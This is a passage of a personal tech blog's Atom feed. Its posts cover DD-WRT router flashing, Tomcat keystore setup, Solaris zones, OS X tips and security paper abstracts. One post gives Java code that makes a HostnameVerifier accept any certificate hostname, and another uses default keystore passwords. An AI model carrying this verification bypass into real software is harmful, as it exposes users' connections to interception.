/&gt;&lt;/span&gt;&lt;span id="signature"&gt;&lt;div id="no_signature" style="overflow:hidden;"&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-612947812603427148?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/612947812603427148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/08/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/612947812603427148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/612947812603427148'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/08/blog-post.html' title='BlackHat &amp; Defcon: Heaven'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ixG7kgN1NFo/THbCsUw_rzI/AAAAAAAABqo/bU0MA4Nfpyw/s72-c/CIMG0070-704690.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-5820747472674203451</id><published>2010-05-06T15:17:00.000-07:00</published><updated>2010-05-06T15:28:06.428-07:00</updated><title type='text'>Airlink101 AR430W/DLINK DIR300 Installation Instructions (screens)</title><content type='html'>Here the screenshot that this HOWTO is missing: &lt;a href="http://www.dd-wrt.com/phpBB2/viewtopic.php?t=32594"&gt;http://www.dd-wrt.com/phpBB2/viewtopic.php?t=32594&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;fiero: $ telnet 192.168.20.81 9000&lt;br /&gt;Trying 192.168.20.81...&lt;br /&gt;Connected to 192.168.20.81.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;&lt;br /&gt;RedBoot&gt; load ap61.ram&lt;br /&gt;Using default protocol (TFTP)&lt;br /&gt;Entry point: 0x800410bc, address range: 0x80041000-0x800680d8&lt;br /&gt;RedBoot&gt; go&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;fiero: $ telnet 192.168.1.1 9000&lt;br /&gt;Trying 192.168.1.1...&lt;br /&gt;Connected to 192.168.1.1.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;DD-WRT&gt; fconfig -i&lt;br /&gt;Initialize non-volatile configuration - continue (y/n)? y&lt;br /&gt;Run script at boot: false&lt;br /&gt;Use BOOTP for network configuration: true&lt;br /&gt;Default server IP address: &lt;br /&gt;Console baud rate: 9600&lt;br /&gt;GDB connection port: 9000&lt;br /&gt;Force console for special debug messages: false&lt;br /&gt;Network debug at boot time: false&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; fis init&lt;br /&gt;About to initialize [format] FLASH image system - continue (y/n)? y&lt;br /&gt;*** Initialize FLASH Image System&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; ip_address -h 192.168.1.23&lt;br /&gt;IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0&lt;br /&gt;Default server: 192.168.1.23&lt;br /&gt;DD-WRT&gt; load -r -b %{FREEMEMLO} ap61.rom&lt;br /&gt;Using default protocol (TFTP)&lt;br /&gt;Raw file loaded 0x80080000-0x800a8717, assumed entry at 0x80080000&lt;br /&gt;DD-WRT&gt; fis create -l 0x30000 -e 0xbfc00000 RedBoot&lt;br /&gt;An image named 'RedBoot' exists - continue (y/n)? y&lt;br /&gt;... Erase from 0xbfc00000-0xbfc30000: ...&lt;br /&gt;... Program from 0x80080000-0x800a8718 at 0xbfc00000: ...&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; reset&lt;br /&gt;&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;fiero: $ &lt;br /&gt;fiero: $ telnet 192.168.1.1 9000&lt;br /&gt;Trying 192.168.1.1...&lt;br /&gt;Connected to 192.168.1.1.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;DD-WRT&gt; ip_address -h 192.168.1.23&lt;br /&gt;IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0&lt;br /&gt;Default server: 192.168.1.23&lt;br /&gt;DD-WRT&gt; load -r -b 0x80041000 linux.bin &lt;br /&gt;Using default protocol (TFTP)&lt;br /&gt;Raw file loaded 0x80041000-0x803dcfff, assumed entry at 0x80041000&lt;br /&gt;DD-WRT&gt; fis create linux&lt;br /&gt;&lt;br /&gt;... Erase from 0xbfc30000-0xbffcc000: ..........................................................&lt;br /&gt;... Program from 0x80041000-0x803dd000 at 0xbfc30000: ..........................................................&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; DD-WRT&gt; fconfig boot_script true &lt;br /&gt;boot_script: Setting to true&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; fconfig boot_script_timeout 3 &lt;br /&gt;boot_script_timeout: Setting to 3&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; fconfig bootp false &lt;br /&gt;bootp: Setting to false&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; fconfig&lt;br /&gt;Run script at boot: true&lt;br /&gt;Boot script: &lt;br /&gt;.. fis load -l linux&lt;br /&gt;.. exec&lt;br /&gt;Enter script, terminate with empty line&lt;br /&gt;&gt;&gt; fis load -l linux&lt;br /&gt;&gt;&gt; exec&lt;br /&gt;&gt;&gt; &lt;br /&gt;Boot script timeout (1000ms resolution): 3&lt;br /&gt;Use BOOTP for network configuration: false&lt;br /&gt;Gateway IP address: &lt;br /&gt;Local IP address: &lt;br /&gt;Local IP address mask: &lt;br /&gt;Default server IP address: &lt;br /&gt;Console baud rate: 9600&lt;br /&gt;GDB connection port: 9000&lt;br /&gt;Force console for special debug messages: false&lt;br /&gt;Network debug at boot time: false&lt;br /&gt;Update RedBoot non-volatile configuration - continue (y/n)? y&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000: .&lt;br /&gt;... Program from 0x80ff0000-0x81000000 at 0xbffe0000: .&lt;br /&gt;DD-WRT&gt; reset&lt;br /&gt;&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-5820747472674203451?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/5820747472674203451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/05/airlink101-ar430wdlink-dir300.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5820747472674203451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/5820747472674203451'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/05/airlink101-ar430wdlink-dir300.html' title='Airlink101 AR430W/DLINK DIR300 Installation Instructions (screens)'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-620349532155819797</id><published>2010-04-14T13:20:00.000-07:00</published><updated>2010-04-14T13:29:57.037-07:00</updated><title type='text'>Web Frameworks and Internet Security, a Thesis</title><content type='html'>Again, hopefully someone will find this useful.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Web Frameworks and Internet Security &lt;br /&gt; &lt;br /&gt;The Internet is arguably the single most influential technology we have seen in the &lt;br /&gt;last two decades. Our increasing dependence on the Internet and Web applications subjects us to attacks that are commonly misunderstood. Presented are the most common Web application vulnerabilities and the necessary mechanisms within Web frameworks that aid in protecting private data. The security mechanisms that aid in preventing Web based attacks are closely studied within this paper. Also, studied are the pitfalls encountered by developers when building Web applications and the ease with which framework security mechanisms can be applied to protect against known vulnerabilities. &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Get the full paper &lt;a href="https://docs.google.com/fileview?id=0B2Ka7F_6TetSYTlkYTZkOWUtMjgyMS00MjAwLWFjNGEtNzI0NjFkMDQwZmQ5&amp;hl=en"&gt;here&lt;/a&gt; and feel free to leave comments below.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-620349532155819797?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/620349532155819797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/04/web-frameworks-and-internet-security.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/620349532155819797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/620349532155819797'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/04/web-frameworks-and-internet-security.html' title='Web Frameworks and Internet Security, a Thesis'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-4684062391930787127</id><published>2010-04-14T12:34:00.000-07:00</published><updated>2010-04-14T13:16:08.078-07:00</updated><title type='text'>Evolutionary Fuzzing System</title><content type='html'>Just thought I should post this before it disappears into the void that is my backups...&lt;br /&gt;&lt;br /&gt;Evolutionary Fuzzing System is a pretty cool concept pioneered by Jared D. DeMott, et al, this paper shows a bit different approach to DeMott's using GPF (General Purpose Fuzzer) as a proof of concept.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Get the paper here: &lt;a href="https://docs.google.com/fileview?id=0B2Ka7F_6TetSN2RlOTEyNjktZjdkYi00OGZmLWI3NjQtOGIwZWI2M2M5ZDdj&amp;hl=en"&gt;Evolutionary Fuzzing System&lt;/a&gt;&lt;br /&gt;Get the modified GPF here: &lt;a href="https://docs.google.com/leaf?id=0B2Ka7F_6TetSMTNiN2UzMjQtMjY4Mi00NTNmLWEyYWQtNWNhMzcwMWU3NmVj&amp;hl=en"&gt;GPF-Mutate&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Abstract: Evolutionary Negative Testing is an increasingly popular method for testing software whose source code may not be available. One of the first tools of this kind is the Evolutionary Fuzzing System. This paper presents an addition to the system called Mutation Reliant Evolutionary Fuzzer and explores possibilities for increasing code coverage and vulnerability discovery.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-4684062391930787127?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/4684062391930787127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/04/evolutionary-fuzzing-system.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4684062391930787127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/4684062391930787127'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/04/evolutionary-fuzzing-system.html' title='Evolutionary Fuzzing System'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-1808195785766116584</id><published>2010-02-25T15:27:00.000-08:00</published><updated>2010-02-25T15:49:35.609-08:00</updated><title type='text'>Setting up tomcat for openjms tunnel</title><content type='html'>1. Create Tomcat keystore and key&lt;pre&gt;&lt;br /&gt;keytool -genkey -dname "cn=example.com" -alias tomcat -keyalg RSA \&lt;br /&gt;   -keystore $TOMCAT_HOME/keystore -keypass changeit -storepass \&lt;br /&gt;   changeit&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2. Export the public certificate&lt;pre&gt;&lt;br /&gt;keytool -export -alias tomcat -keystore $TOMCAT_HOME/keystore -storepass \&lt;br /&gt;   changeit -rfc -file tomcat.pub&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. Create client keystore and Trust (import) the Tomcat public key&lt;pre&gt;&lt;br /&gt;keytool -import -alias tomcat -keystore openjms.keystore -storepass \&lt;br /&gt;   changeit -file tomcat.pub  -noprompt&lt;/pre&gt;&lt;br /&gt;*. Repeat last step for client.keystore.&lt;br /&gt;&lt;br /&gt;4. Don't forget to configure tomcat:&lt;pre&gt;&lt;br /&gt;  &amp;lt;Connector port="443" protocol="HTTP/1.1" SSLEnabled="true"&lt;br /&gt;               maxThreads="150" scheme="https" secure="true"&lt;br /&gt;               clientAuth="false" sslProtocol="TLS"&lt;br /&gt;                keystoreFile="/usr/local/apache-tomcat-6.0.20/keystore"&lt;br /&gt;                truststoreFile="/usr/local/apache-tomcat-6.0.20/keystore"&lt;br /&gt;                keystorePass="changeit" &lt;br /&gt;                truststorePass="changeit" /&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;5. And make sure you drop openjms-tunnel.war in the webapps directory&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-1808195785766116584?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/1808195785766116584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/02/setting-up-tomcat-for-openjms-tunnel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1808195785766116584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1808195785766116584'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/02/setting-up-tomcat-for-openjms-tunnel.html' title='Setting up tomcat for openjms tunnel'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-3086208714165182876</id><published>2010-01-28T17:44:00.000-08:00</published><updated>2010-01-28T17:47:32.321-08:00</updated><title type='text'>lx Branded Solais Zones</title><content type='html'>Never knew how easy it was to setup a Linux branded zone under Solaris. Running Linux software on Solaris 10 has never been easier :).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download CentOS-3.8-i386-bin1of*.iso to /path/to/isos and do the following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# zonecfg -z CentOS&lt;br /&gt;create -t SUNWlx&lt;br /&gt;set autoboot=true&lt;br /&gt;set zonepath=/zpool/zones/CentOS&lt;br /&gt;add net&lt;br /&gt; set address=x.x.x.x/24&lt;br /&gt; set physical=e1000g0&lt;br /&gt; end&lt;br /&gt;commit&lt;br /&gt;exit&lt;br /&gt;# zoneadm list -cv&lt;br /&gt;# zoneadm -z CentOS install -d /path/to/isos core&lt;br /&gt;# zoneadm list -cv&lt;br /&gt;# zoneadm -z CentOS boot&lt;br /&gt;# zlogin -C -e '#' CentOS&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;now just press &lt;enter&gt;#. to exit the shell&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-3086208714165182876?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/3086208714165182876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/01/lx-branded-solais-zones.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3086208714165182876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/3086208714165182876'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/01/lx-branded-solais-zones.html' title='lx Branded Solais Zones'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-1711168673105302322</id><published>2010-01-08T10:23:00.000-08:00</published><updated>2010-01-08T10:35:15.133-08:00</updated><title type='text'>OS X Apache PHP</title><content type='html'>I was pleasantly surprised to find out how easy it is to "use" Apache + PHP on OS X. That's right, no need to install it, it comes preinstalled. Just edit /private/etc/apache2/httpd.conf and uncomment the php_module line ('LoadModule php5_module'). Then go to System Preferences &gt; Sharing, and enable Web Sharing.&lt;br /&gt;&lt;br /&gt;Testing this is as easy as:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cat &gt; ~/Sites/test.php&lt;br /&gt;&amp;lt;? phpinfo(); ?&amp;gt;&lt;br /&gt;^d&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Then go to http://localhost/~username/test.php :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-1711168673105302322?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/1711168673105302322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2010/01/os-x-apache-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1711168673105302322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/1711168673105302322'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2010/01/os-x-apache-php.html' title='OS X Apache PHP'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-6799981909417469046</id><published>2009-12-19T21:33:00.000-08:00</published><updated>2009-12-19T21:58:26.143-08:00</updated><title type='text'>Accepting certificates for OpenJMS HTTPS tunnel</title><content type='html'>OpenJMS HTTPS tunnel can be a bit tough to setup because Java by default validates SSL certificates and of course the errors you get from OpenJMS are really not that helpful. E.g., "java.io.IOException: HTTPS hostname wrong: should be."&lt;br /&gt;&lt;br /&gt;During development often self signed certificates are used, which Java will fail to validate. This can be bypassed with a few lines of code, it will force Java not to check the validity of a certificate:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;  com.sun.net.ssl.HostnameVerifier hv=new com.sun.net.ssl.HostnameVerifier() {&lt;br /&gt;      public boolean verify(String urlHostname, String certHostname) {&lt;br /&gt;          logger.warn("Hostname: "+urlHostname&lt;br /&gt;              +" does not match certificate: "+certHostname);&lt;br /&gt;          return true;&lt;br /&gt;      }&lt;br /&gt; };&lt;br /&gt; com.sun.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(hv);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Useful Links:&lt;br /&gt;&lt;br /&gt;Error I was getting: java.io.IOException: HTTPS hostname wrong:  should be&lt;br /&gt;&lt;a href="http://www.java-samples.com/showtutorial.php?tutorialid=211"&gt;http://www.java-samples.com/showtutorial.php?tutorialid=211&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;How to import a certificate from file in Java  using keytool&lt;br /&gt;&lt;a href="http://blog.spikesource.com/java_certificate_import.htm"&gt;http://blog.spikesource.com/java_certificate_import.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Error I was getting: HTTPS hostname wrong&lt;br /&gt;&lt;a href="http://www.velocityreviews.com/forums/t129514-https-hostname-wrong.html"&gt;http://www.velocityreviews.com/forums/t129514-https-hostname-wrong.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;How to create certificates:&lt;br /&gt;&lt;a href="http://emo.sourceforge.net/cert-login-howto.html"&gt;http://emo.sourceforge.net/cert-login-howto.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Another SSL HOWTO:&lt;br /&gt;&lt;a href="http://www.openssl.org/docs/HOWTO/certificates.txt"&gt;http://www.openssl.org/docs/HOWTO/certificates.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-6799981909417469046?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/6799981909417469046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/12/accepting-certificates-for-openjms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6799981909417469046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/6799981909417469046'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/12/accepting-certificates-for-openjms.html' title='Accepting certificates for OpenJMS HTTPS tunnel'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-8746965048058874724</id><published>2009-12-08T08:50:00.001-08:00</published><updated>2009-12-08T08:51:53.963-08:00</updated><title type='text'>OS X Global Variables</title><content type='html'>Yes, even if /etc/launchd.conf does not exist:&lt;br /&gt;&lt;br /&gt;---------------------&lt;br /&gt;cat &gt;&gt; /etc/launchd.conf&lt;br /&gt;setenv JAVA_HOME /System/Library/Frameworks/JavaVM.framework/Home&lt;br /&gt;^d&lt;br /&gt;---------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-8746965048058874724?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/8746965048058874724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/12/os-x-global-variables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8746965048058874724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/8746965048058874724'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/12/os-x-global-variables.html' title='OS X Global Variables'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-7008428432579846948</id><published>2009-09-14T20:57:00.000-07:00</published><updated>2009-09-14T21:06:51.238-07:00</updated><title type='text'>The Inventor of the Internet</title><content type='html'>Today I had the pleasure of meeting Vint "The Father of the Internet" Cerf: &lt;a href="http://en.wikipedia.org/wiki/Vint_Cerf"&gt;http://en.wikipedia.org/wiki/Vint_Cerf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ixG7kgN1NFo/Sq8RoGwlQnI/AAAAAAAABiw/lOia4v1MTD4/s1600-h/cerf.jpg"&gt;&lt;img style="cursor: pointer; width: 330px; height: 400px;" src="http://3.bp.blogspot.com/_ixG7kgN1NFo/Sq8RoGwlQnI/AAAAAAAABiw/lOia4v1MTD4/s400/cerf.jpg" alt="" id="BLOGGER_PHOTO_ID_5381539460437852786" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-7008428432579846948?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/7008428432579846948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/09/inventor-of-internet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/7008428432579846948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/7008428432579846948'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/09/inventor-of-internet.html' title='The Inventor of the Internet'/><author><name>Javier Godinez</name><uri>http://www.blogger.com/profile/09453080510014253280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/1914/3742/1600/javier.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ixG7kgN1NFo/Sq8RoGwlQnI/AAAAAAAABiw/lOia4v1MTD4/s72-c/cerf.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34015684.post-477749107411148639</id><published>2009-08-06T20:28:00.000-07:00</published><updated>2009-08-06T20:30:22.968-07:00</updated><title type='text'></title><content type='html'>Really kinda eye opening, funny, and embarrassing to some:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;The very concept of "penetration testing" is fundamentally flawed.  The problem&lt;br /&gt;with it is that the penetration tester has a limited set of targets they're&lt;br /&gt;allowed to attack, while a real attacker can attack anything in order to gain&lt;br /&gt;access to the site/box.  So if a site on a shared host is being tested, just&lt;br /&gt;because site1.com is "secure" that does NOT in anyway mean that the server is&lt;br /&gt;secure, because site2.com could easily be vulnerable to all sorts of simple&lt;br /&gt;attacks.  The time constraint is another problem. A professional pentester with&lt;br /&gt;a week or two to spend on a client's network may or may not get into&lt;br /&gt;everything.  A real dedicated hacker making the slog who spends a month of&lt;br /&gt;eight hour days WILL get into anything they target. You're lucky if it even&lt;br /&gt;takes him that long, really.&lt;br /&gt;&lt;/pre&gt;&lt;a href="http://r00tsecurity.org/files/zf05.txt"&gt;http://r00tsecurity.org/files/zf05.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34015684-477749107411148639?l=javiergodinez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javiergodinez.blogspot.com/feeds/477749107411148639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://javiergodinez.blogspot.com/2009/08/really-kinda-eye-opening-funny-and.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/477749107411148639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34015684/posts/default/477749107411148639'/><link rel='alternate' type='text/html' href='http://javiergodinez.blogspot.com/2009/08/really-kinda-eye-opening-funny-and.html' title=''/><author><name>Javier 